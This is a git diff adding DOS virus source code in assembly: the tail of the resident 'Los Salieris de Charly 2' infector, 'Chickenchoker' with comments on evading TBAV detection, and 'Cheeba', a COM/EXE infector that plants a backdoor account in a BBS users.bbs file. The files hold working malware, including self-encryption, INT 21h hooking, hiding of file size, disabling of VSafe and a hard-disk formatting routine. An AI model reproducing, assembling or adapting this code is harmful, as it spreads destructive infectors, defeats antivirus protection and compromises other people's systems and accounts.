DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + POP DS + + PUSH CX + PUSH BX + PUSH ES + + PUSH AX + MOV AH,2Fh + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + POP AX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSH AX + PUSHF + OR AL,AL + JNE FINHANDLER2 + CMP BYTE PTR ES:[BX],0FFh + JNE NOEXTENDED + ADD BX,07h + +NOEXTENDED: + MOV CX,ES:[BX+17h] + AND CL,00011111b + CMP CL,00001101b + JNE FINHANDLER2 + SUB WORD PTR ES:[BX+1Dh],OFFSET TWO - OFFSET ONE ;LE RESTO EL VALOR DEL PRG + SBB WORD PTR ES:[BX+1Fh],0 +FINHANDLER2: + POPF + POP AX + POP ES + POP BX + POP CX + RETF 0002h +NO_DIR ENDP + +NO_NC PROC + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + POP DS + + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH ES + + MOV AH,2Fh + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV CX,ES:[BX+16h] + AND CL,00011111b + CMP CL,00001101b + JE SI_RECUBRO + JMP NO_RECUBRO + +SI_RECUBRO: + SUB WORD PTR ES:[BX+1Ah],OFFSET TWO - OFFSET ONE ;LE RESTO EL VALOR DEL PRG + +NO_RECUBRO: + POP ES + POP CX + POP BX + POP AX + POPF + RETF 2 +NO_NC ENDP + +FIN_1: JMP FIN + +INFECT_FAST: + MOV SI,DX +BUCLE: + CMP BYTE PTR [SI],"." + JE YASTA + CMP BYTE PTR [SI],00h + JE FIN_1 + INC SI + JMP BUCLE +YASTA: + PUSH SI +BUCLE2: + CMP BYTE PTR [SI],"\" + JE YASTA2 + CMP SI,DX + JNE NOSTA2 + DEC SI + JMP YASTA2 +NOSTA2: + DEC SI + JMP BUCLE2 +YASTA2: + INC SI + MOV AX,[SI] + OR AX,2020h + CMP AX,"oc" + JNE DALEPUES + INC SI + INC SI + MOV AX,[SI] + OR AX,2020h + CMP AX,"mm" + JNE DALEPUES + POP SI + JMP FIN_1 + +DALEPUES: + POP SI + INC SI + MOV AX,[SI] + OR AX,2020h + CMP AX,"oc" + JNE FIN_1 + +INFECTA: + PUSH AX + PUSH BX + PUSH DX + PUSH DS + PUSH ES + + MOV AX, CS + MOV DS, AX + MOV AX,3524h + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + MOV DS:[INT24IP - OFFSET ONE],BX + MOV DS:[INT24CS - OFFSET ONE],ES + + MOV AX,2524h + MOV DX,(OFFSET HOOK_24 - OFFSET ONE) + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + POP ES + POP DS + POP DX + POP BX + POP AX + + PUSH DX + PUSH DX + + CALL REMUEVE_BITS + + POP DX + MOV AX,4300h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(ATRIBUTOS - OFFSET ONE)],CX + + MOV AX,4301h + MOV CX,20h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL_1 + + MOV AX,3D02h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSH AX + POP BX + + MOV AH,3Fh + MOV CX,2 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + XOR SI,SI + MOV AL,CS:(NORMAL - OFFSET ONE)[SI] + CMP AL,'M' + JE FINAL_1 + INC SI + MOV AL,CS:(NORMAL - OFFSET ONE)[SI] + CMP AL,'Z' + JE FINAL_1 + JMP CONTI +FINAL_1: + JMP FINAL + +CONTI: + MOV AX,5700h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(HORA - OFFSET ONE)],CX + MOV CS:[(FECHA - OFFSET ONE)],DX + + AND CL,00011111b ; Esto es lo correcto para comprobar + CMP CL,00001101b ; si los segundos son 26 + JE FINAL_1 + + MOV AX,4200h + CWD + MOV CX,DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AH,3Fh + MOV CX,3 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,4202h + CWD + MOV CX,DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSH AX + + SUB AX,3 + + MOV SI,1 + MOV CS:(BUFFER - OFFSET ONE)[SI],AL + INC SI + MOV CS:(BUFFER - OFFSET ONE)[SI],AH + +; PUSH AX ;MIERDA1 + + MOV AH,2Ch + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[NUMERO - OFFSET ONE],DL + + PUSH BX + MOV AH,48h + MOV BX,150h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV ES,AX + POP BX + + PUSH CS + POP DS + + XOR SI,SI + MOV DI,SI + MOV CX,OFFSET TWO - OFFSET ONE + CLD + REP MOVSB + + PUSH ES + POP DS + + POP AX ;LL + INC AH + XOR SI,SI ;LL + MOV ES:[SI + 2],AL ;OPA + MOV ES:[SI + 3],AH + + MOV CX,(OFFSET INCRIPT - OFFSET ONE) - (OFFSET DESDE_ACA - OFFSET ONE) + MOV SI,(OFFSET DESDE_ACA - OFFSET ONE) +ENCRIPTO: + XOR [SI],DL + INC SI + LOOP ENCRIPTO + + MOV AH,40h + MOV CX,OFFSET TWO - OFFSET ONE + XOR DX,DX + PUSH ES + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL + + MOV AH,49h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,4200h + CWD + MOV CX,DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AH,40h + MOV CX,3 + MOV DX,(OFFSET BUFFER - OFFSET ONE) + PUSH CS + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,5701h + MOV CX,CS:[(HORA - OFFSET ONE)] + AND CL,11100000b + OR CL,00001101b + MOV DX,CS:[(FECHA - OFFSET ONE)] + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] +FINAL: + MOV AH,3Eh + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,4301h + MOV CX,CS:[(ATRIBUTOS - OFFSET ONE)] + POP DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + CALL RESTAURA_BITS + + MOV AX,2524h + MOV DX,CS:[INT24IP - OFFSET ONE] + MOV DS,CS:[INT24CS - OFFSET ONE] + PUSHF + CALL DWORD PTR CS:[INT21IP-OFFSET ONE] + +FIN: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + POPF + POP DS + JMP DWORD PTR CS:[(INT21IP - OFFSET ONE)] +HOOK_21 ENDP + +HOOK_13 PROC + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH SI + XOR BX,BX + MOV SI,31 + MOV CX,75 +ESCRIBE: + MOV AH,0Eh + MOV AL,CS:(TEXTO - OFFSET ONE)[SI] + INT 10h + INC SI + LOOP ESCRIBE + POP SI + POP CX + POP BX + POP AX + POPF + JMP DWORD PTR CS:[(INT17IP - OFFSET ONE)] +HOOK_13 ENDP + +HOOK_24 PROC + XOR AL,AL + IRET +HOOK_24 ENDP + +V_SAFE PROC + MOV AH,0FAh + MOV DX,5945h + INT 21h + RET +V_SAFE ENDP + +VERIFICA_RESIDENCIA PROC + XOR AL,AL + CALL V_SAFE + CMP BX,2F00h + JE FORI + STC +FORI: RET +VERIFICA_RESIDENCIA ENDP + +REMUEVE_BITS PROC + CALL VERIFICA_RESIDENCIA + JC FORI_1 + MOV AL,02h + MOV BL,00000000b + CALL V_SAFE + MOV CS:[SEBA-OFFSET ONE],CL +FORI_1: + CLC + RET +REMUEVE_BITS ENDP + +RESTAURA_BITS PROC + CALL VERIFICA_RESIDENCIA + JC FORI_2 + MOV AL,02 + MOV BL,CS:[SEBA-OFFSET ONE] + CALL V_SAFE +FORI_2: + CLC + RET +RESTAURA_BITS ENDP + +INT21IP DW 0 +INT21CS DW 0 +INT24IP DW 0 +INT24CS DW 0 +INT17IP DW 0 +INT17CS DW 0 +ATRIBUTOS DW 0 +SEBA DB 1 +HORA DW 0 +FECHA DW 0 +BUFFER DB 3 DUP(0E9h) +NORMAL DB 3 DUP(90h) +TEXTO DB "VIRUS LOS SALIERIS DE CHARLY 2." + DB "AIN'T A HACKER," + DB "AIN'T A CRACKER," + DB "I AM ONLY A MOTHERFUCKER." + DB 'DEDICATED TO "MACA"' +INCRIPT LABEL BYTE +NUMERO DB 1 DUP(0) + +TWO LABEL BYTE + +CODE ENDS +END START \ No newline at end of file diff --git a/c/CHC.ASM b/c/CHC.ASM new file mode 100755 index 0000000..d40abea --- /dev/null +++ b/c/CHC.ASM @@ -0,0 +1,87 @@ +; Chickenchoker Virus by HDKiller +; +; Origianl Variant 127 bytes +; Fixored up Variant 132 bytes +; +; +; This is a trivial variant of a basic sort, no encryption and a nasty payload +; +; Being HDKiller's first virus it wasnt a bad start, though I wouldnt have made +; it destructive. +; +; The original version of this virus raised 2 flags in TBAV FS, one for file +; access and one for com/exe search routine. The S is defeated by changing the +; original *.com with a *.?om wich is functionally the same but will cause the +; the virus to attack .aom .bom .com etc... This makes the virus a little more +; unstable, bet hey it's trivial. The F is caused by mov ah,40h and can be +; beaten any number of ways, I used a mov ah,00h then an xor ah, 40h. Thats +; one of countless numbers of way to get 40h into ah. TBAV was keying on the +; beginning of this virus to get it's determination that it's a trivial virus. +; By adding a few lines of code you effectively loose TBAV. +; +Code Segment + Assume CS:code,DS:code + Org 100h + +startvx proc near + + mov ah,4eh +; mov cx,0000h ; Key point for TBAV + mov cx,0013h +lopht: ; Quick and simple loop to confuse TBAV + loop lopht ; Now that didnt take much did it ?? + mov dx,offset star_com + int 21h + + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + + xchg bx,ax + +; mov ah,40h ; Sets off the F in TBAV + xor ah,ah ; One of many methods to get 40h into + xor ah,40h ; ah. Be imaginative when you can :) + mov cx,offset endvx - offset startvx + mov dx,offset startvx + int 21h + + mov ah,3eh + int 21h + + int 20h + +szTitleName db' Chickenchoker Virus by hdkiller has been activated' +;szTitleName db' ChChickenchchoker Virus by hdkiller | SOK-3' + +rip_hd: + + xor dx,dx +rip_hd1: + mov cx,2 + mov ax,311h + mov dl,80h + mov bx,5000h + mov es,bx + int 13h + jae rip_hd2 + xor ah,ah + int 13h + rip_hd2: + inc dh + cmp dh,4 + jb rip_hd1 + inc ch + jmp rip_hd + +startvx endp + +;star_com: db "*.com",0 ; Sets off S in TBAV +star_com: db "*.?om",0 ; Sacrifice a little stability to loose + ; the S flag + +endvx label near + +code ends + end startvx diff --git a/c/CHCHOKE.ASM b/c/CHCHOKE.ASM new file mode 100755 index 0000000..ac326e5 --- /dev/null +++ b/c/CHCHOKE.ASM @@ -0,0 +1,58 @@ +Code Segment + Assume CS:code,DS:code + Org 100h + +startvx proc near + + mov ah,4eh + mov cx,0000h + mov dx,offset star_com + int 21h + + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + + xchg bx,ax + + mov ah,40h + mov cx,offset endvx - offset startvx + mov dx,offset startvx + int 21h + + mov ah,3eh + int 21h + + int 20h + +szTitleName db' Chickenchoker Virus by hdkiller has been activated' + +rip_hd: + + xor dx,dx +rip_hd1: + mov cx,2 + mov ax,311h + mov dl,80h + mov bx,5000h + mov es,bx + int 13h + jae rip_hd2 + xor ah,ah + int 13h + rip_hd2: + inc dh + cmp dh,4 + jb rip_hd1 + inc ch + jmp rip_hd + +startvx endp + +star_com: db "*.com",0 + +endvx label near + +code ends + end startvx \ No newline at end of file diff --git a/c/CHEEBA (42).ASM b/c/CHEEBA (42).ASM new file mode 100755 index 0000000..d2f9bf8 --- /dev/null +++ b/c/CHEEBA (42).ASM @@ -0,0 +1,857 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;*** The author of Cheeba let his source lie around --- so HERE IT IS!!! *** +; Btw just one thing --- I give it 2 you as long as you don't make a +; sucking destroying thing... Btw 2 this is of course only educational... +;----------------------------------------------------------------------------- +; Naam en password staan +- op lijn 200. Verander de low-version number +; bij de verschillende versies... +; Verander verder NIKS aan het virus !!! + +Com_First: push cs +S_1: mov ax,100h +S_2: push ax + mov ax,cs +CodePars: add ax,0 + push ax +S_3: mov ax,offset End_Virus +S_4: push ax + retf + +VirTitle db 'CHEEBA Makes Ya High Harmlessly-1.2 F**K THE LAMERS' + +I21Hooks db 0 + dw offset Stop_Prg + db 31h + dw offset Stop_Prg + db 4Ch + dw offset Stop_Prg + db 4Bh + dw offset Start_Prg + db 45h + dw offset Check_Init + db 3Ch + dw offset Open_Wrt + db 3Dh + dw offset Open_Rd + db 3Eh + dw offset Check_Close + db 40h + dw offset Check_Vir + +New_21: call Rest_Orig_21 + call Save_Regs + cld + mov bx,offset I21Hooks +Srch_Fct_Lp: cmp ah,[bx] + jne Wrong_Fct + push [bx+1] + call Retr_Regs + ret +Wrong_Fct: add bx,3 + cmp bx,offset New_21 + jb Srch_Fct_Lp + +Go_Dos: call Retr_Regs + call Call_Dos +Skip_21: call Rest_21_Jmp + retf 2 + +Call_Dos: pushf + db 09Ah +Org_21_Addr dw 2 dup (?) + ret + +Org_21_Code db 5 dup (?) + +;*** Fct 45 - check init *** + +Check_Init: cmp bx,0D15h + jne Go_Dos + mov bx,0F0Ch + jmp short Skip_21 + +;*** I21 FCT 3Dh - Open file for read *** + +Open_Rd: test al,3 + jz Go_Dos + xchg si,dx +Get_0: lodsb + or al,al + jnz Get_0 + mov cx,0Ah + xor bx,bx + xor ax,ax + cwd ; Dx = 0 +Get_CSum: dec si + rol bx,1 + mov al,[si] + or al,20h + xor bl,al + add dx,ax + loop Get_CSum + cmp bx,1AE7h + jne Go_Dos + cmp dx,3B7h + jne Go_Dos + +Is_Users: mov word ptr cs:[Save_A_Reg],si + mov di,offset Coded +Del_Si: mov si,word ptr cs:[Save_A_Reg] +Lp_Unc: lodsb + or al,al + jz Del_Si + or al,20h + sub byte ptr cs:[di],al + inc di + cmp di,offset No_Read + jb Lp_Unc + +Coded: call Retr_Regs + and al,0FEh + or al,2 + call Call_Dos + jnc Has_Read + jmp No_Read +Has_Read: pushf + call Save_Regs + xchg bx,ax + mov ah,3Fh + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + mov dx,[End_Virus+20h] + mov cx,[End_Virus+22h] + or cx,cx + jnz Test_Ok + or dx,dx + jz No_XS_YET + +Test_Ok: mov ax,4200h + call Call_Dos + mov ah,3Fh + mov dx,offset End_Virus+9Eh + mov cx,9Eh + call Call_Dos + cmp ax,cx + jnz No_XS_YET + cmp byte ptr [End_Virus+9Eh],3 + jne No_XS_YET + test byte ptr [End_Virus+9Eh+77h],1 + jnz No_XS_YET + mov ax,[End_Virus+84h] + cmp ax,[End_Virus+9Eh+84h] + jne No_XS_YET +J_Less: jmp Less_Users + +No_XS_Yet: mov ax,4202h + xor cx,cx + cwd ; Dx = 0 + call Call_Dos + or dx,dx + jnz More_Users + cmp ax,9Eh*50 ; 50 users of meer + jb J_Less + +More_Users: mov cx,9Eh + div cx + or dx,dx + jnz J_Less + shr ax,1 + mul cx + xchg cx,dx + xchg dx,ax + mov ax,4200h + call Call_Dos +Read_Lp: mov ah,3Fh + mov dx,offset End_Virus+9Eh + mov cx,9Eh + call Call_Dos + cmp ax,cx + jne Less_Users + test byte ptr [offset End_Virus+9Eh+77h],1 ; Search deleted + je Read_Lp + mov ax,4201h + mov cx,-1 + mov dx,-9Eh + call Call_Dos + push dx + push ax + mov [End_Virus+20h],ax + mov [End_Virus+22h],dx + mov ax,4200h + xor cx,cx + cwd ; dx = 0 + call Call_Dos + mov ah,40h + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + mov ax,4200h + pop dx + pop cx + call Call_Dos + push ds + pop es + mov al,0 + mov di,offset End_Virus + mov cx,106h-9Eh + repz stosb + mov ax,2020h + mov cx,5 +Wrt_20s: inc di + stosw + loop Wrt_20s + +;HIER STAAN NAAM EN PASSWORD. +; Naam en password zijn 3 chars, Name = , Password = +; Zijn dus Name = 1F 20 7E, Password = 4D 5A B8 +; Staan zoals hier: +; +; mov ..., 0 +; ..... 0 +; Password: +; ..... ,0 +; ..... ,0 +; + mov word ptr [End_Virus],01F03h + mov word ptr [End_Virus+2],07E20h + mov word ptr [End_Virus+3Eh],04D03h + mov word ptr [End_Virus+40h],0B85Ah + + + mov ah,40h + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + +Less_Users: call Go_Beg_File + popf + call Retr_Regs +No_Read: pushf + push ax + push si + push di + push ds + mov di,offset Coded +Del_Si_2: mov si,word ptr cs:[Save_A_Reg] +Lp_Unc_2: lodsb + or al,al + jz Del_Si_2 + or al,20h + add byte ptr cs:[di],al + inc di + cmp di,offset No_Read + jb Lp_Unc_2 + + pop ds + pop di + pop si + pop ax + popf + + call Rest_21_Jmp + retf 2 + +;*** I 21 FCT 3C - Rewrite file *** + +Open_Wrt: cld + test byte ptr cs:[Flags],1 ; Already sure-exec opened? + jnz J_JD_2 + + push ds + pop es + xchg di,dx + mov al,0 + mov cx,-1 + repnz scasb + mov ax,[di-5] + or ax,2020h + cmp ax,'c.' + jne No_Com + mov ax,[di-3] + or ax,2020h + cmp ax,'mo' + jne Open_It +Sure_Exec: or byte ptr cs:[Flags],1 +Open_It: call Retr_Regs + call Call_Dos + jc Not_Opened + mov word ptr cs:[Exec_Handle],ax +Not_Opened: call Rest_21_Jmp + retf 2 + +No_Com: cmp ax,'e.' ; '.E'? + jne Open_It + + mov ax,[di-3] + or ax,2020h + cmp ax,'ex' ; .. 'XE'? + je Sure_Exec +OJ_2: jmp short Open_It + +;*** I21 FCT 3E - Infect on close if orig. prog has written too *** + +Check_Close: push cs + pop ds + cmp bx,[Exec_Handle] ; Same file? +J_JD_2: jne JD_2 + mov word ptr [Exec_Handle],0FFFFh ; Don't follow anymore + call Go_Beg_File ; Go to beg. of file + mov ah,3Fh ; Read first bytes + mov cx,18h + mov dx,offset Read_Buf + call Call_Dos + and byte ptr [Flags],0FBh ; Flag for COM + cmp word ptr [Read_Buf],'ZM' ; MZ - Exe? + je Infect_Exe + test byte ptr [Flags],1 ; Sure exec? + jnz Infect_Com + and byte ptr cs:[Flags],0FEh +JD_2: jmp Go_Dos + +Infect_Exe: or byte ptr [Flags],4 ; Flag for EXE + mov ax,[Read_Buf+16h] + mov [Exe_CS+1],ax + mov ax,[Read_Buf+14h] + mov [Exe_IP+1],ax + cmp ax,offset Init + je OJ_2 + mov ax,[Read_Buf+0Eh] + mov [Exe_SS+1],ax + mov ax,[Read_Buf+10h] + mov [Exe_SP+1],ax +Infect_Com: and byte ptr [Flags],0FEh + cmp word ptr [Read_Buf],0B80Eh + je JD_2 + cmp word ptr [Read_Buf],0BFh + je JD_2 + +Not_Inf: mov ax,4202h ; Go to end of file + xor cx,cx + cwd ; Dx = 0 + call Call_Dos + + test byte ptr [Flags],4 + jz No_Ovl_Test + + push ax ; .EXE: Test for internal overlays + push dx + mov cx,200h + div cx + cmp dx,[Read_Buf+2] + jne Is_Ovl + or dx,dx + jz No_Corr_Chk + inc ax +No_Corr_Chk: cmp ax,[Read_Buf+4] +Is_Ovl: pop dx + pop ax + je No_Ovl_Test + +JD_3: jmp short JD_2 + +No_Ovl_Test: add ax,0Fh ; End in paragraphs + adc dx,0 + and ax,0FFF0h + + mov Org_Fl_Len_Lo,ax + mov Org_Fl_Len_Hi,dx + + push ax + mov cl,4 + shr ax,cl + mov [CodePars+1],ax + or al,al + jnz No_Al_0 + dec al +No_Al_0: mov byte ptr [offset S_5-1],al + pop ax + + push ax + push dx + + mov cx,dx ; Go to end-in-paragraphs + mov dx,ax + mov ax,4200h + call Call_Dos + + push cs + pop es + mov si,100h + mov di,offset End_Virus + mov cx,offset End_Virus-100h + mov dl,byte ptr cs:[offset S_5-1] +Code_Lp: lodsb + cmp si,offset Init + ja No_Code + xor al,dl +No_Code: stosb + loop Code_Lp + + mov ax,5700h + call Call_Dos + mov Org_Fl_Time,cx + mov Org_Fl_Date,dx + + mov ah,40h ; Write virus behind program + mov cx,offset End_Virus-100h + mov dx,offset End_Virus + call Call_Dos + + call Go_Beg_File + + mov dx,offset Com_First + mov cx,10h + + pop si + pop ax + + test byte ptr [Flags],4 + jz Init_Com + + mov dx,si + mov cx,4 +Get_CS: shr dx,1 + rcr ax,1 + loop Get_CS + + sub ax,[Read_Buf+8] ; - header size + sub ax,10h + mov [Read_Buf+16h],ax + mov [Read_Buf+0Eh],ax + mov word ptr [Read_Buf+14h],offset Init + mov word ptr [Read_Buf+10h],offset End_Virus+100h + + mov ax,Org_Fl_Len_Lo + mov dx,Org_Fl_Len_Hi + + add ax,offset End_Virus-100h + adc dx,0 + mov cx,200h + div cx + or dx,dx + jz No_Corr + inc ax +No_Corr: mov [Read_Buf+2],dx + mov [Read_Buf+4],ax + mov dx,offset Read_Buf + mov cx,18h + +Init_Com: mov ah,40h + call Call_Dos + + mov ax,5701h + mov cx,Org_Fl_Time + mov dx,Org_Fl_Date + call Call_Dos + +JD_4: jmp short JD_3 + + +;*** 00 / 31 / 4C: End program *** + +Stop_Prg: push ds + push bx + lds bx,cs:[Jmp_22+1] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset Int_22 + mov word ptr [bx+3],cs + sti + pop bx + pop ds + jmp short JD_4 + +Int_22: call Rest_21_Jmp + push cs + pop ds + les di,dword ptr [Jmp_22+1] + mov si,offset Org_22 + call Move_Bytes + call Retr_Regs +Jmp_22: jmp 0:0 + +Org_22 db 5 dup (?) + +;*** Start prog *** + +Start_Prg: lds bx,cs:[Jmp_13+1] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset Int_13 + mov word ptr [bx+3],cs + sti + call Retr_Regs +JD_5: jmp short JD_4 + +Int_13: call Rest_21_Jmp + push si + push di + push ds + push es + push cs + pop ds + les di,dword ptr [Jmp_13+1] + mov si,offset Org_13 + call Move_Bytes + pop es + pop ds + pop di + pop si +Jmp_13: jmp 0:0 + +Org_13 db 5 dup (?) + +;*** Check for string 'iru' (vIRUs) *** + +Check_Vir: cmp bx,cs:[Exec_Handle] + jne No_Vir + sub cx,2 + jc No_Vir + push ds + pop es + mov di,dx + mov al,'i' +Iru_Lp: repnz scasb + jnz No_Vir + cmp word ptr [di],'ur' + jne Iru_Lp + mov word ptr cs:[Exec_Handle],0FFFFh + and byte ptr cs:[Flags],0FEh +No_Vir: jmp short JD_5 + + +Move_Bytes: cli + cld + movsw + movsw + movsb + sti + ret + +Rest_Orig_21: push si + push di + push ds + push es + push cs + pop ds + mov si,offset Org_21_Code + les di,dword ptr [Org_21_Addr] + call Move_Bytes + pop es + pop ds + pop di + pop si + ret + +Rest_21_Jmp: push ds + push bx + lds bx,dword ptr cs:[Org_21_Addr] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset New_21 + mov word ptr [bx+3],cs + sti + pop bx + pop ds + ret + +;*** Proc: Save regs *** + +Save_Regs: mov word ptr cs:[Save_Ds],ds + push cs + pop ds + mov word ptr [Save_Ax],ax + mov word ptr [Save_Bx],bx + mov word ptr [Save_Cx],cx + mov word ptr [Save_Dx],dx + mov word ptr [Save_Si],si + mov word ptr [Save_Di],di + mov word ptr [Save_Es],es + ret + +Retr_Regs: push cs + pop ds + mov ax,word ptr [Save_Ax] + mov bx,word ptr [Save_Bx] + mov cx,word ptr [Save_Cx] + mov dx,word ptr [Save_Dx] + mov si,word ptr [Save_Si] + mov di,word ptr [Save_Di] + mov es,word ptr [Save_Es] + mov ds,word ptr [Save_Ds] + ret + +Go_Beg_File: mov ax,4200h + xor cx,cx + cwd ; dx = 0 + call Call_Dos + ret + +Exec_Handle dw 0FFFFh ; Handle of opened-with-write- exec. file + +Flags db (?) ; Flags: 1 = Sure exec (- Maybe data) + ; 4 = EXE-file (- COM) + +Org_Fl_Len_Lo dw (?) +Org_Fl_Len_Hi dw (?) + +Org_Fl_Time dw (?) +Org_Fl_Date dw (?) + +Save_Ax dw (?) +Save_Bx dw (?) +Save_Cx dw (?) +Save_Dx dw (?) +Save_Si dw (?) +Save_Di dw (?) +Save_Ds dw (?) +Save_Es dw (?) + +Save_A_Reg dw (?) + +Decoded: mov word ptr cs:[Save_A_Reg],ds + push ax + push bx + push cx + push dx + push ds + push es + + mov ah,45h + mov bx,0D15h + int 21h + cmp bx,0F0Ch + jne N_Y_Inst + jmp Jmp_No_Init +N_Y_Inst: cld + + xor ax,ax + mov ds,ax + + mov ax,[88h] ; Save I22 addr + mov cs:[Jmp_22+1],ax + mov ax,[8Ah] + mov cs:[Jmp_22+3],ax + + mov ax,[04Ch] ; Save I13 addr + mov cs:[Jmp_13+1],ax + mov dx,[04Eh] + mov cs:[Jmp_13+3],dx + + mov ah,52h + int 21h + cmp dx,es:[bx-2] + jnb Jmp_No_Init + + push [84h] + push [86h] + + push cs + pop ds + + push cs + pop es + + mov si,offset Com_First + mov di,offset Com_Start_2 + +MoveStrt: lodsw ; Other .COM start-up + cmp si,offset CodePars+3 + je No_MS_Lp + xchg ax,[di] + mov [si-2],ax + inc di + inc di +No_MS_Lp: cmp si,offset VirTitle + jb MoveStrt + + xor byte ptr [Init],1 + xor byte ptr [S_9],6Ch + xor byte ptr [Decode_Lp+2],1 + xor byte ptr [S_5],1 + xor byte ptr [S_6+1],1 + xor byte ptr [S_7],7 + xor byte ptr [S_8],6Ch ; Nop <> CLD + + mov ax,word ptr cs:[Save_A_Reg] + dec ax +MCB_Loop: mov ds,ax + cmp byte ptr [0],'Z' + je Found_End_MCB + add ax,[3] + inc ax + cmp ah,0A0h + jb MCB_Loop + add sp,4 +Jmp_No_Init: jmp short No_Init + +Found_End_MCB: mov bx,[3] +Here_Pars: sub bx,100h ; Filled in init-proc. + jc No_Init + mov [3],bx + add ax,bx + inc ax + mov ds,cs:[Save_A_Reg] + mov word ptr [2],ax + sub ax,10h + mov cx,offset End_Virus-100h + push cs + pop ds + mov es,ax + mov si,100h + mov di,si + repz movsb + + pop ds + pop si + + mov es:[Org_21_Addr],si + mov es:[Org_21_Addr+2],ds + + mov di,offset Org_21_Code + + call Move_Bytes + + cli + mov byte ptr [si-5],0EAh + mov word ptr [si-4],offset New_21 + mov word ptr [si-2],es + sti + + lds si,cs:[Jmp_22+1] + mov di,offset Org_22 + + call Move_Bytes + + lds si,cs:[Jmp_13+1] + mov di,offset Org_13 + + call Move_Bytes + +No_Init: pop es + pop ds + pop dx + pop cx + pop bx + pop ax + + test cs:Flags,4 + jnz Rest_Stack + + push ds + push cs + pop ds + mov cx,10h + mov si,offset Read_Buf + mov di,100h + repz movsb + pop ds + retf + +Rest_Stack: mov ax,ds ; Stack restore for .EXE files +Exe_SS: add ax,0 + add ax,10h + cli + mov ss,ax +Exe_SP: mov sp,0 + sti + mov ax,ds +Exe_Cs: add ax,0 + add ax,10h + push ax +Exe_Ip: mov ax,0 + push ax + retf + +Com_Start_2: mov di,100h + push cs + mov ax,cs + push di + db 05h ; Add Ax,xxxx + mov di,offset Init + push ax + push di + retf + +;*** INIT - ONLY DECODE - PART *** + +Init: mov si,offset Com_First +S_9: cld +Decode_Lp: xor byte ptr cs:[si],0 +S_5: inc si +S_6: cmp si,offset Init +S_7: jne Decode_Lp +S_8: nop + jmp Decoded + +Read_Buf db 0CDh,20h + db 16h dup (?) + +End_Virus: cld + mov word ptr [S_3+1],offset Init + mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1 + mov di,offset Coded +New_Us: mov si,offset User_St +B_V_CLp: lodsb + or al,al + jz New_Us + add [di],al + inc di + cmp di,offset No_Read + jb B_V_CLp + jmp Init + +User_St db 'users.bbs',0 + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More 